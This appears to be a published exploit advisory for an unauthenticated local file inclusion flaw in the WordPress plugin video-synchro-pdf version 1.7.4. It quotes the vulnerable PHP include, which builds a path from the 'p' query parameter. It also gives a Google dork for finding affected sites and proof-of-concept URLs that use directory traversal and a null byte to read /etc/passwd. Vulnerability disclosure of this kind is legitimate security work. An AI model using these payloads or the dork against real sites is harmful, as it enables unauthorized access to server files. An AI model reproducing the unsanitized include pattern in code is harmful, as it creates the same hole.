# Exploit Title: WordPress Plugin video-synchro-pdf 1.7.4 - Local File Inclusion - Unauthenticated # Google Dork: inurl:/wp-content/plugins/video-synchro-pdf/ # Date: 29-03-2022 # Exploit Author: Hassan Khan Yusufzai - Splint3r7 # Vendor Homepage: https://wordpress.org/plugins/video-synchro-pdf/ # Version: 1.7.4 # Contact me: h [at] spidersilk.com # Vulnerable File: video-synchro-pdf/reglages/Menu_Plugins/tout.php # Vulnerable Code: ``` <?php if ($_GET['p']<=NULL) { include(REPERTOIRE_VIDEOSYNCPDF.'reglages/Menu_Plugins/index.php'); }else{ include(REPERTOIRE_VIDEOSYNCPDF.'reglages/Menu_Plugins/'.$_GET['p'].'.php'); } ``` # Proof of Concept: http://localhost/wp-content/plugins/video-synchro-pdf/reglages/Menu_Plugins/tout.php?p= <http://localhost/wp-content/plugins/video-synchro-pdf/reglages/Menu_Plugins/tout.php?p=../../../../../../../../../../../../../etc/index>[LFI] http://localhost/wp-content/plugins/video-synchro-pdf/reglages/Menu_Plugins/tout.php?p= <http://localhost/wp-content/plugins/video-synchro-pdf/reglages/Menu_Plugins/tout.php?p=../../../../../../../../../../../../../etc/index>../../../../../../../../../etc/passwd%00